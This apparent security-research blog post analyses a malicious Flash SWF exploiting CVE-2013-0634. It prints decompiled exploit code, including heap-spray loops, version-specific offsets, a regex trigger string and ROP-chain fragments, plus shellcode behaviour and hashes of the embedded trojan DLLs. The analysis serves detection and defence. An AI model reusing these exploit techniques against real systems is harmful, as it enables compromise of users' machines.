"Confirmed ITW" CVE-2013-0634 This LadyBoyle is not nice at all.

Summary of analysis of a suspected CVE-2013-0634 sample

Summary

The malicious SWF checks/detects whether your system is x32 or x64, it provides both malwares and exploit scheme including the exploit data streams for both platforms (suspected two types of x32 & x64 a shellcodes also exist & still under investigation).

In my case upon the post exploitation it drops stream-out "extract" a DLL malware file from the embedded binary object. The shellcode itself will drop a malware library into %Temp% path and execute it to drop the malware executable binary.

The extraction embedded attachment process is well explain in the Adobe API reference -->>[HERE]
Which I quoted as per below:

var storyByteArray:ByteArrayAsset = ByteArrayAsset(new storyClass());

To be NOTED: the binaries are not encoded in JS/code parts, JS/code was used for exploitation act.
The post exploit itself runs the function x32 or x64 to extract the object. Which are windows x32 and x64 DLL files. It is aiming ONLY for windows platform, with aiming exploitation for flash versions:

      11,5,502,146    11,4,402,287
      11,5,502,135    11,4,402,278
      11,5,502,110    11,4,402,265

The method of flash.utils::ByteArray, following by flash.utils::Endian and the callpropvoid of writeInt to push the malicious Endian codes is the execution part of this exploitation. While before it we can find the usage of stack overflow by malicious codes like 0x41414141 and 0xFFFFFFF8 in the Flash Vector object formed, and the method of using textfield(with having the font parameter in it) to be filled with the vector object formed.

Strings used for exploitation is cleverly scattered between _local* variables, made us difficult to trace it by eyes, so by the help of debugger we can understand the flow.

I'm currently in the middle of separating exploit strings while writing this at the same time & trying to find the solid PoC of shellcode which still in process. Since the reference of exploit in this CVE is still not clear here and there (like some reference mentioning buffer overflow while other mentioning memory corruption) and also considering that new information is still keep on popping up, thus the lack of analysis sample of CVE-2013-0634 SWF file itself (so far I found only ONE "suspected" sample of CVE-2013-0634 posted in VT), made me think to have a break for a while and taking liberty to split the post into parts (1 and 2) make updates in the related topic.

The Sample

New information:
The VT sample "ieee2013.swf" w/hash: bf29f7d83580b4b4355dbc8a82b4972aWAS NOT the CVE-2013-0634,but CVE-2013-0633 embedded swf, #AFatBigLie
— Hendrik ADRIAN (@unixfreaxjp) February 13, 2013

As per advised I took liberty to choose sample posted in VirusTotal -->>[URL], 
and I picked the recent one with the below details:
Sample : ieee2013.swf
MD5    : bf29f7d83580b4b4355dbc8a82b4972a
SHA256 : 19a5e24e8c90e2d7f65729455c3fd8b89ebbfdc8d218db3ab4a3193100106267
File size: 498.8 KB ( 510762 bytes )
File name: ieee2013.swf
File type: Flash
Tags: exploit flash cve-2013-0634
Detection ratio: 12 / 45
Analysis date: 2013-02-08 19:32:42 UTC ( 17 hours, 20 minutes ago )
Malware names:
F-Secure                 : Dropped:Trojan.Agent.AYAF
DrWeb                    : Exploit.CVE2013-0633.1
GData                    : Dropped:Trojan.Agent.AYAF
Norman                   : Shellcode.E
McAfee-GW-Edition        : Heuristic.BehavesLike.Exploit.Flash.CodeExec.O
MicroWorld-eScan         : Dropped:Trojan.Agent.AYAF
Avast                    : Win32:Malware-gen
nProtect                 : Dropped:Trojan.Agent.AYAF
BitDefender              : Dropped:Trojan.Agent.AYAF
McAfee                   : Exploit-CVE2013-0633
ESET-NOD32               : SWF/Exploit.CVE-2013-0634.A
Microsoft                : Exploit:SWF/CVE-2013-0634
At the time I choosed, it was so convincing.. But during analyzing the sample deeper it turned out fakes.. 
Updates - 2013, Feb 26, just before midnight..Eric Romang (@eromang) found CVE-2013-0634 in the wild spread by  Gong Da(d) Exploit Kit, which can be read in his report here -->>[HERE]The sample he uploaded into Virus Total in here -->>[VIRUS-TOTAL]And I confirmed it as the same code as we posted in this post. Snapshot of the codes is: So this is the hard evidence for this exploit that infects in the wild.  For the research purpose, you may confirm yourself here -->>[HERE]I thank Eric Romang for the sharing the information that we must aware of! 
#Exploit Info -@eromang found #CVE-2013-0634 spread In The Wild!! sample is: virustotal.com/en/file/83406e… #TruthRevealed twitter.com/unixfreaxjp/st…
— Hendrik ADRIAN (@unixfreaxjp) February 26, 2013
Understanding the Structure
It is good to visualize the structure of swf sample. I use Action Script for this purpose, this sample looks like below:  We need to break it down now, using SWF dumper tool to see the format: 
 * Total # of File Tags: 88
 * End (0) -- total: 1
 * ScriptLimits (65) -- total: 1
 * DoABC2 (82) -- total: 1
 * ShowFrame (1) -- total: 1
 * FileAttributes (69) -- total: 1
"* DefineBinaryData (87) -- total: 2 <==w00t"
 * SetBackgroundColor (9) -- total: 1
 * ProductInfo (41) -- total: 1
 * FrameLabel (43) -- total: 1
 * SymbolClass (76) -- total: 1
 * Metadata (77) -- total: 1
↑so we HAVE two binaries embedded from the beginning.  Viewing the  meta data we know it fakes "Adobe Flex 4 Application" 
＜Metadata＞
  ＜rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'＞
  ＜rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1'＞
  ＜dc:format＞application/x-shockwave-flash＜/dc:format＞
  ＜dc:title＞Adobe Flex 4 Application＜/dc:title＞
  ＜dc:description＞http://www.adobe.com/products/flex＜/dc:description＞
  ＜dc:publisher＞unknown＜/dc:publisher＞
  ＜dc:creator＞unknown＜/dc:creator＞
  ＜dc:language＞EN＜/dc:language＞
  ＜dc:date＞Feb 4, 2013＜/dc:date＞
  ＜/rdf:Description＞＜/rdf:RDF＞
＜/Metadata＞
I tend to check SWF timestamp in product info: 
＜ProductInfo product='Adobe Flex' edition='' 
  version='4.6' build='23201' 
  compileDate='Tue Feb 5 00:56:14 2013 UTC'/＞
Checking the SymbolClass: 
＜SymbolClass＞
  ＜Symbol idref='1' className='LadyBoyｌe_the_x32_Class' /＞
  ＜Symbol idref='2' className='LadyBoｙle_the_x64_Class' /＞
  ＜Symbol idref='0' className='LadyBoyle' /＞
＜/SymbolClass＞
↑You'll see the classes with the string of x32 and x64 in there..  These are binary tags: 
＜DefineBinaryData id='1' idrefName='LadyBoyle_the_x32_Class' length='247296' /＞
＜DefineBinaryData id='2' idrefName='LadyBoyle_the_x64_Class' length='246272' /＞
So let's confirm whether the embedded binaries are really there,  if so let's figure its type.  Recheck by hex of the symbol class part.. to double check... 
3f 13 42 00 00 00 03 00 01 00 4c 61 64 79 42 6f | ?*B*******LadyBo |
79 6c 65 5f 74 68 65 5f 78 33 32 5f 43 6c 61 73 | yle_the_x32_Clas |
73 00 02 00 4c 61 64 79 42 6f 79 6c 65 5f 74 68 | s***LadyBoyle_th |
65 5f 78 36 34 5f 43 6c 61 73 73 00 00 00 4c 61 | e_x64_Class***La |
64 79 42 6f 79 6c 65 00                         | dyBoyle*         |
OK looks binaries are there..to be sure, let's dump and see it.. Here's the x32 first block... 
ff 15 06 c6 03 00 01 00 00 00 00 00 4d 5a 90 00 | ************MZ** |
03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 | **************** |
00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 | ****@*********** |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | **************** |
00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e | **************** |
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 | ****!**L*!This p |
72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 | rogram cannot be |
20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 |  run in DOS mode |
2e 0d 0d 0a 24 00 00 00 00 00 00 00 7c 49 48 4c | .***$*******|IHL |
38 28 26 1f 38 28 26 1f 38 28 26 1f 31 50 a2 1f | 8(&*8(&*8(&*1P** |
21 28 26 1f 31 50 b3 1f 28 28 26 1f 31 50 a5 1f | !(&*1P**((&*1P** |
70 28 26 1f 1f ee 5d 1f 3b 28 26 1f 38 28 27 1f | p(&***]*;(&*8('* |
77 28 26 1f 31 50 ac 1f 3b 28 26 1f 31 50 b7 1f | w(&*1P**;(&*1P** |
39 28 26 1f 52 69 63 68 38 28 26 1f 00 00 00 00 | 9(&*Rich8(&***** |
00 00 00 00 50 45 00 00 4c 01 05 00 fc 40 10 51 | ****PE**L****@*Q |
00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 00 | ***********!**** |
00 66 00 00 00 5c 03 00 00 00 00 00 d6 13 00 00 | *f***\********** |
And the second one...x64 binary (1st block snipped) 
ff 15 06 c2 03 00 02 00 00 00 00 00 4d 5a 90 00 | ************MZ** |
03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 | **************** |
00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 | ****@*********** |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | **************** |
00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e | **************** |
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 | ****!**L*!This p |
72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 | rogram cannot be |
20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 |  run in DOS mode |
2e 0d 0d 0a 24 00 00 00 00 00 00 00 a4 25 09 b1 | .***$********%** |
e0 44 67 e2 e0 44 67 e2 e0 44 67 e2 e9 3c e3 e2 | *Dg**Dg**Dg**<** |
f9 44 67 e2 e9 3c e4 e2 a4 44 67 e2 e9 3c f2 e2 | *Dg**<***Dg**<** |
e9 44 67 e2 c7 82 1c e2 e5 44 67 e2 e0 44 66 e2 | *Dg******Dg**Df* |
b2 44 67 e2 e9 3c ed e2 e3 44 67 e2 e9 3c f6 e2 | *Dg**<***Dg**<** |
e1 44 67 e2 52 69 63 68 e0 44 67 e2 00 00 00 00 | *Dg*Rich*Dg***** |
00 00 00 00 50 45 00 00 64 86 06 00 fa 40 10 51 | ****PE**d****@*Q |
00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 09 00 | **********" **** |
by experience I know both are the DLL files..  
Code Analysis
All of the variables prepared for exploitation always appears in pairs.. for example like below, suggested different methods used for x32 & x64: 
(_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9);
(_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
Despite the pairing scheme, also spotted "generic" code scheme i.e.:  Checking the exact version of Windows OS: 
switch (_local19) ｛   
    ｃase "windows 7":
        break;    
    caｓe "windows server 2008 r2":        
        break;    
    caｓe "windows server 2008":        
        break;    
    ｃase "windows server 2003 r2":        
        break;    
    ｃase "windows server 2003":        
        break;    
    ｃase "windows xp":        
        break;    
    ｃase "windows vista":        
        break;    
    ｄefault:        
        return (this.empty());  ｝;        
It scattered exploit strings into some value of integer with _local%n names,  it checked the Windows OS's flash player version &  allocate different integer value if flash player contains  playertype=activex (see below), ...and... 
switch (_local27) ｛
    case "win 11,5,502,146":
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛  
            _local25 = (_local16 - 1838536);                       
            _local26 = (_local16 - 574720);                                ｝;            
        break;        
    case "win 11,5,502,135":        
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛    
            _local25 = (_local16 - 2266027);        
            _local26 = (_local16 - 574864);                    ｝;            
        break;        
    case "win 11,5,502,110":        
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛    
            _local25 = (_local16 - 1600110);        
            _local26 = (_local16 - 574424);                    ｝;            
        break;        
    case "win 11,4,402,287":        
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛    
            _local25 = (_local16 - 4624790);        
            _local26 = (_local16 - 574196);                    ｝;            
        break;        
    case "win 11,4,402,278":        
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛    
            _local25 = (_local16 - 1227937);        
            _local26 = (_local16 - 573876);                    ｝;            
        break;        
    case "win 11,4,402,265":        
        if (capabilities.playertype.tolowercase() ＝＝ "activex") ｛    
            _local25 = (_local16 - 7925883）;        
            _local26 = (_local16 - 573876);                    ｝;            
        break;
.. then preparing bigger init value for flash without activeX...         
default:  
    (_local5[_local7][_local22] as Vector. ＜ Number ＞ )[536870911] = this.UintToDouble(16, _local9);        
    return;  ｝;     
The other part of exploit values are implemented into other "_local*"  variables in seperated section as per I pasted it here -->>[HERE][Additional] As so many other researchers also already noticed,  it is spotted the regex operation suspected the direct exploitation by it. Actually I wanted to expose this after getting more info,  but OK, since so many questions came.. here we go:  It filled a var with this regex string & assigned it to RegExp: 
_local2 = "(?i)()()(?-i)||||||||||||||||||||||";
var _local20: RegExp = new RegExp(_local2, "");
To be used in the operation in forming object of exploitation: Why this regex was used? We saw it to be used as per it is.. To grep the pattern defined, PoC the debug code: 
3509 pushstring     "(?i)()()(?-i)||||||||||||||||||||||"
3512 findpropstrict RegExp //nameIndex = 66
3517 constructprop  RegExp (2) //nameIndex = 66
3520 coerce         RegExp //nameIndex = 66
And the memory snapshot below: 
0a 77 69 6e 64 6f 77 73 20 78 70 0d 77 69 6e 64| *windows xp*wind |
6f 77 73 20 76 69 73 74 61 0c 66 72 6f 6d 43 68| ows vista*fromCh |
61 72 43 6f 64 65 06 52 65 67 45 78 70 23 28 3f| arCode*RegExp#(? |
69 29 28 29 28 29 28 3f 2d 69 29 7c 7c 7c 7c 7c| i)()()(?-i)||||| |
7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c| |||||||||||||||| |
7c 06 6c 65 6e 67 74 68 10 77 72 69 74 65 55 6e| |*length*writeUn |
73 69 67 6e 65 64 49 6e 74 0a 70 6c 61 79 65 72| signedInt*player |
54 79 70 65 07 61 63 74 69 76 65 78 05 66 6c 75| Type*activex*flu |
73 68 0a 77 72 69 74 65 42 79 74 65 73 05 45 72| sh*writeBytes*Er |
72 6f 72 01 65 0c 66 6c 61 73 68 2e 65 76 65 6e| ror*e*flash.even |
74 73 0f 45 76 65 6e 74 44 69 73 70 61 74 63 68| ts*EventDispatch |
65 72 0d 44 69 73 70 6c 61 79 4f 62 6a 65 63 74| er*DisplayObject |
11 49 6e 74 65 72 61 63 74 69 76 65 4f 62 6a 65| *InteractiveObje |
63 74 16 44 69 73 70 6c 61 79 4f 62 6a 65 63 74| ct*DisplayObject |
43 6f 6e 74 61 69 6e 65 72 1a 16 01 16 05 16 08| Container******* |
↑At the time regex executed, it runs w/o crash. So if RegEXP aka regex value of "(?i)()()(?-i)||||||||||||||||||||||" has anything to do with the direct exploitation is still a question to me. The exploitation happened at the time the texfield filled with the malicios vector contains the exploit bit (in my case). That's why I desperately need to seek other samples or better memory shot to be sure of this regex method, & reason why I did not  write it before too.  [NEW ADDITIONAL]  The usage of the regex which functioned as the trigger to the  overall exploitation is explained by HaifeiLi -->>[HERE] Let's continue: The _local5 array contains vector ＜number＞ and ＜object＞ and the below checkpoints was making sure of it if we follow it further the _local5 will be used by additional hard-coded bits: Next.. depends on the processor type it assembled the strings by - using writeUnsignedInt. This is that code for x32... 
// initiation of the bins.. see the 0x41 0x41 0x41 starts..
while (_local1 < (0x0400 * 100)) {
    _local17.writeUnsignedInt(0x41414141）;
    _local1++;
};

// transfering the result to other vars...
_local12 = (_local12 + _local17.position);
_local14 = _local17.position;


// building the x32 exploit here...with the Unsigned interger flood...
 _local17.endian = Endian.LITTLE_ENDIAN;
 _local34 = _local17.position;
 _local17.position = (_local17.position + 224);
 _local17.writeUnsignedInt(_local25);
 _local17.position = _local34;
 _local17.position = (_local17.position + 160);
 _local17.writeUnsignedInt((_local12 + 0x0100));
 _local17.writeUnsignedInt(_local31);
 _local17.position = _local34;
 _local17.writeUnsignedInt(_local37);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(64);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local39);
 _local17.writeUnsignedInt(0);
 _local17.position = (_local17.position + 40);
 _local17.writeUnsignedInt(_local36);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt((_local12 + 0x0100));
 _local17.writeUnsignedInt(_local31);
 _local17.writeUnsignedInt(_local38);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(0x2000);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local37);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local26);
 _local17.writeUnsignedInt(0);
 _local17.writeUnsignedInt(_local40);
 _local17.writeUnsignedInt(0);
 _local17.position = (_local34 + 0x0100);
 _local17.writeUnsignedInt(1442615440);
 _local17.writeUnsignedInt(4041507656);
              :
              :(snipped)
And this is for x64... 
_local17.writeBytes(_local35, 0, _local35.length);
_local12 = _local13;
_local15 = ((((_local12 + 128) - _local10) - 16) / 8);
_local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
_local15 = ((((_local12 + 16) - _local10) - 16) / 8);
_local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
_local12 = (_local12 + _local14);
_local17.position = _local14;                   

//// Buiding x64 exploit, 
_local34 = _local17.position;
_local17.position = (_local17.position + 224);
_local17.writeUnsignedInt(_local25);
_local17.position = _local34;
_local17.position = (_local17.position + 160);
_local17.writeUnsignedInt((_local12 + 0x0100));
_local17.writeUnsignedInt(_local31);
_local17.position = _local34;
_local17.writeUnsignedInt(_local37);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt(64);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt(_local39);
_local17.writeUnsignedInt(0);
_local17.position = (_local17.position + 40）;
_local17.writeUnsignedInt(_local36);
_local17.writeUnsignedInt(0);
_local17.writeUnsignedInt((_local12 + 0x0100)）;
_local17.writeUnsignedInt(_local31);
_local17.writeUnsignedInt(_local38);
              :
_local17.writeUnsignedInt(0);
_local17.position = (_local34 + 0x0100);
_local17.writeUnsignedInt(1442615440）;
_local17.writeUnsignedInt(4041507656）;
_local17.writeUnsignedInt(1708274504）;
              :
              :(snipped)
The _local17 above was filled by values of vector objects filled by  the logic of Random → Vector flood by ByteArray → formed into function  ReadDouble to be used to form exploit object,  flow details is--->>[HERE]Please be noted the usage of hard coded bit 0x41414141 in the vector object  and usage of 0xFFFFFFF8 for gaining heap allocation/deallocation is used. Correction:0xFFFFFFF8 is used to convert 0x*******1 to 0x*******0 which is the correct  address for exploit. ) ←Thank's to @promised_lu for pointing this :-) PS: I still can't figure why the hardcoded 0x41414141 bit is there...  The usage of text field with font to be filled by exploit values  aiming for the overflow was also detected: 

function empty(): void ｛
" var _local1: textfield = new textfield();"
  _local1.autosize = TextFieldAutoSize.left;
   var _local2: textformat = new textformat();
  _local2.size = 30;
  _local2.font = "Arial";
  _local2.color = 0xFF0000;
"  _local1.settextformat(_local2);"
  _local1.text = " ";
" addChild(_local1);"
After exploit form is built, it went into an execution of part of  the forming code the object which in the debug code can be viewed below: 
0    getlocal0      
1    pushscope      
2    findpropstrict flash.utils::ByteArray //nameIndex = 19
4    constructprop  flash.utils::ByteArray (0) //nameIndex = 19
7    coerce         flash.utils::ByteArray //nameIndex = 19
9    setlocal3      
10   getlocal3      
11   getlex         flash.utils::Endian //nameIndex = 40
13   getproperty    LITTLE_ENDIAN //nameIndex = 41
15   setproperty    endian //nameIndex = 42
17   getlocal3      
18   getlocal1      
19   callpropvoid   writeInt (1) //nameIndex = 43
22   getlocal3      
23   getlocal2      
24   callpropvoid   writeInt (1) //nameIndex = 43
↑It means: using the flash.utils::ByteArray to write integer as little  endian (I call this stream-out referred to Adobe API = "extracting") ..to WriteInt values as per mixed in hex-->>[HERE](need to split these in two for x32 and x64.. a lot ow work to do..) ..to then execute process below: 
25   pushbyte       0
26   setproperty    position //nameIndex = 44
27   getlocal3      
28   callproperty   readDouble (0) //nameIndex = 45
29   returnvalue    
..at this point the return for value pointing LadyBoyle x32 OR x64 binary Class  (the code is below) 
    import mx.core.*;
    public class LadyBoyle_the_x32_Class extends ByteArrayAsset {
↑for the x32 ..and for the x64↓ 
    import mx.core.*;
    public class LadyBoyle_the_x64_Class extends ByteArrayAsset {
to extract the embedded object as per described here -->>[AdobeAPIPage]The complete decompilation code of the SWF of CVE-2013-6034 in neutralized code is here -->>[PASTEBIN] 
The debug..
It's time to run this swf in debug mode.. like a binary analysis I want  to capture everything I could. The (long) complete debug main init trace list is here --->>[HERE]See how it ends up to point classes of the_x32_Class:Class or the_x64_Class:Class  You also can grep the "pushint" to grep all of the pushed value related codes - for the x32 and x64 -->>[HERE]If we divided it right we may slit the value of x32 and x64. (on it..)You can compare those strings with the memory snapshot here --->>[HERE]The dump binary can be downloaded here -->>[HERE] Since the code initiate the 32 & 64 bit as detailed classes↓... 
this.the_x32_Class = LadyBoyle_the_x32_Class;
this.the_x64_Class = LadyBoyle_the_x64_Class;
...and the below are the trace of execution of LadyBoyle by of 32/64 bit to get the binary object embedded. For 32bit: 
init():* 
// disp_id=0 method_id=15 nameIndex = 0 */
// local_count=1 max_scope=4 max_stack=2 code_len=23
// method position=3689 code position=16442 
 0      getlocal0       
 1      pushscope       
 2      findpropstrict LadyBoyle_the_x32_Class //nameIndex = 80 
 4      getlex         Object //<--- nameIndex = 54  
 6      pushscope       
 7      getlex         flash.utils::ByteArray //nameIndex = 19 
 9      pushscope       
 10     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 12     pushscope       
 13     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 15     newclass       LadyBoyle_the_x32_Class 
 17     popscope        
 18     popscope        
 19     popscope        
 20     initproperty   LadyBoyle_the_x32_Class //nameIndex = 21 
 22     returnvoid      
The 64bit.. 
init():* 
// disp_id=0 method_id=18 nameIndex = 0 */
// local_count=1 max_scope=4 max_stack=2 code_len=23
// method position=3701 code position=16498 
 0      getlocal0       
 1      pushscope       
 2      findpropstrict LadyBoyle_the_x64_Class //nameIndex = 81 
 4      getlex         Object // <----nameIndex = 54 
 6      pushscope       
 7      getlex         flash.utils::ByteArray //nameIndex = 19 
 9      pushscope       
 10     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 12     pushscope       
 13     getlex         mx.core::ByteArrayAsset //nameIndex = 18 
 15     newclass       LadyBoyle_the_x64_Class 
 17     popscope        
 18     popscope        
 19     popscope        
 20     initproperty   LadyBoyle_the_x64_Class //nameIndex = 22 
 22     returnvoid      
The getlex for objects→ByteArray→ByteArrayAsset→is calling embedded  "LadyBoyle" class contains malware DLL binary to be extracted in the victim's PC.. [Additional-2] @promised_lu, the author of pmswalker was making a very good reversing for the this exploit sample which exposing security baypass' ROP Chain & SHELLCODE formed during exploitation. You can see his good analysis here -->>[LINK] This is VERY important chain that I was looking for from beginning the existance of the shellcode which explained the below operations: Searching for %Temp% path and load a library, as per below: 
   :
069442C2 FFE0  jmp     eax        
; CreateFileA("C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\abc.cfg", 
               GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL) => 
; LoadLibraryA("C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\abc.cfg")
With noted that shellcode use of stackpivot restore the stack back to the  normal flow of execution to prevent the crash.   He also reversed the abc.cfg executed as libs via shellcode: 
     :
 *(_DWORD *)p2 = dword_10009278;             // 'cces'
 *((_DWORD *)p2 + 1) = dword_1000927C;       // 'etne'
 *((_DWORD *)p2 + 2) = dword_10009280;       // 'xx.r'
 *((_WORD *)p2 + 6) = word_10009284;         // 'x'
    :
↑which explaining the dropping of seccetnter.xxx payload.  All of the above is possible since the ALSR and DEP are bypassed, and he explianed the ROP Chain for it as per quoted below: 
06944000  7C809AE1  kernel32.VirtualAlloc
06944004  06944088  /CALL to VirtualAlloc
06944008  06944000  |Address = 06944000
0694400C  00002000  |Size = 2000 (8192.)
06944010  00001000  |AllocationType = MEM_COMMIT
06944014  00000040  \Protect = PAGE_EXECUTE_READWRITE
#w00t to @promised_lu :-) good job!  This solves the all mistery of this exploitation, conclusion: 
The usage of hardcoded bits, details in address calculation, using the heap spray with the changes of stack value (stackpivot), with the ROP of by passing ASLR and DEP is a VERY sophisticated technique to be used in this exploitation. The technique exploitation of this sample is proven to be Memory Corruption base of the exploitation.
Research Material & Samples
For raising AV detection rates & research purpose, sample-->>[HERE]The SWF's embedded DLL malwares is having the below VT ratio: 
SHA256:    d6459e851fda540159a78aa901b46cc2e921c57952e961edf4d817b4f5a82f14 SHA1:      c6bff71c4c9ac92f78995ac9097f8cc13779a8fc MD5:       b4da1c3400b48803b41823feaf6085e8 File size: 241.5 KB ( 247296 bytes ) File name: CVE-2013-0634-x32bin.drop.dll File type: Win32 DLL Tags:      exploit cve-2013-0634 pedll Ratio:     21 / 41 Date:      2013-02-10 17:48:27 UTC ( 37 minutes ago ) URL ---->>[CLICK] F-Secure                 : Dropped:Trojan.Agent.AYAF GData                    : Dropped:Trojan.Agent.AYAF VIPRE                    : Trojan.Win32.Generic!BT Symantec                 : Trojan Horse ESET-NOD32               : Win32/TrojanDropper.Agent.QAU McAfee-GW-Edition        : Heuristic.BehavesLike.Win32.PasswordStealer.H Fortinet                 : W32/Agent.QAU!tr TrendMicro-HouseCall     : TROJ_GEN.R11H1B8 MicroWorld-eScan         : Dropped:Trojan.Agent.AYAF Avast                    : Win32:Malware-gen nProtect                 : Dropped:Trojan.Agent.AYAF Kaspersky                : Trojan.Win32.Delf.dedq BitDefender              : Dropped:Trojan.Agent.AYAF McAfee                   : BackDoor-FAKV!B4DA1C3400B4 Ikarus                   : Trojan.Win32.Bredolab Panda                    : Trj/CI.A AhnLab-V3                : Win-Trojan/Infostealer.247296 AntiVir                  : DR/Agent.AYAF PCTools                  : Trojan.Generic Sophos                   : Troj/Agent-ZUP Comodo                   : UnclassifiedMalware
 
SHA256:    b03623e4818e60869f67dba28ab09187782a4ae0f4539cef2c07634865f37e74 SHA1:      040069e5ecf1110f6634961b349938682fee2a22 MD5:       dbc7e219e9af297271ea594f0ff6ad12 File size: 240.5 KB ( 246272 bytes ) File name: CVE-2013-0634-x64bin.drop.dll File type: Win32 DLL Tags:      exploit cve-2013-0634 pedll Ratio:     17 / 46 Date:      2013-02-10 17:49:04 UTC ( 39 minutes ago ) URL ---->>[CLICK] F-Secure                 : Trojan.Generic.8698229 DrWeb                    : BackDoor.Poison.1033 GData                    : Trojan.Generic.8698229 VIPRE                    : Trojan.Win32.Generic!BT Norman                   : Killav.LB ESET-NOD32               : Win64/TrojanDropper.Agent.U TrendMicro-HouseCall     : TROJ_GEN.R47H1B9 MicroWorld-eScan         : Trojan.Generic.8698229 Avast                    : Win32:Malware-gen nProtect                 : Trojan.Generic.8698229 BitDefender              : Trojan.Generic.8698229 McAfee                   : BackDoor-AKV Panda                    : Trj/CI.A Ikarus                   : Win32.Malware AVG                      : Small.EWV Emsisoft                 : Malware.Win64.AMN (A) Comodo                   : UnclassifiedMalware
While trying to figure how the exploit execute the attached DLL, I took a video. and in one of the session I took the video from my Droid camera:  
Thank you very much for fellow researchers who encourage be to analyze this:  
@eromang @malwaremustdie shes not very nice
— Lance Brandy (@Lance37Brandy) February 9, 2013
False Positive Possibilities

I am so worry that if some security scanner will use the word "LadyBoyle" to grep & classify the detection of CVE-2013-0634, which exactly will NOT stop the infection of CVE-2013-0634 (since that is just a name of a "changeable" class inside an infector SWF file which I doubt that you can scan it online) BUT it will exactly will block this post to be viewed by public.

This post is dedicated to the security research, hopefully to be a useful reference of CVE-2013-0634, please kindly help to notice us in twitter if the false positive alarm happens. Thank you very much.

Additionals

The other Flash 0day found in the wild & used against Mac OS X (CVE-2013-0634) results from an integer overflow in CFF font handling #Flash

— VUPEN Security (@VUPEN) February 8, 2013

The mentioned "font method", or to be precised, in our case was the usage of textfield object (to be filled with exploit data) with setting .settextformat contains a font definition, indeed detected too in this post, but did not see any MacOSX target in my sample, so that must be same type of exploit yet a separately made. I wonder was it a only a MS Word's .doc file?

Reference

(Fine)

#MalwareMustDie!